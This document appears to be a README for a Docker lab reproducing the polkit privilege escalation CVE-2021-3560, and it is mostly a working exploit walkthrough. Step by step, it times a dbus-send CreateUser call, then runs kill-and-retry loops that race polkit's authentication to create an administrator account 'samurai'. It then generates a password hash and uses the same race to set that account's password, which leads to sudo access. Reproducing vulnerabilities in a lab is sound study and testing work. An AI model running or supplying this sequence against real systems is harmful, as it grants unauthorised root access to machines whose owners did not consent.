CVE-2021-3560-Polkit-Privilege-Escalation

by Mark, Qingchen Yu To build the container with

docker build -t <image tag of your choice> .

To run the container

docker run -it <image tag name>

1. start with start.sh

2. Measura Execution Time: Note the 'real' time and calculate half of it.

   root@kitploit:~

   time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:samurai string:"Samurai" int32:1
   

3. Create a User with Sudo Privileges: Replace X.XXX with half of the 'real' time above because we want the process to be interrupted in the middle the command will run as a loop of 10000 times You may need to run this step several times

   root@kitploit:~

   for counter in {1..10000}; do dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:samurai string:"Samurai" int32:1 & sleep X.XXXs; kill $!;done
   

4. Check User creation id samurai It should show samurai user exists and show his permissions. Run the step 2 again if not.

5. Generate Password Hash: in this case, password would be 'iamsamurai' Note the hash generated.

   root@kitploit:~

   openssl passwd -5 iamsamurai
   

6. Set Password for New User: Replace X.XXX with the sleep duration and Password Hash with the hash from step 4. Replace UUUU with the user ID of 'samurai'

   root@kitploit:~

   for counter in {1..10000}; do dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/UserUUUU org.freedesktop.Accounts.User.SetPassword string:'Password Hash' string:GoldenEye & sleep X.XXXs; kill $!;done
   

7. Switch to new user with the password you created in step 4. su - samurai

   Now you should be able to use 'sudo with this user'.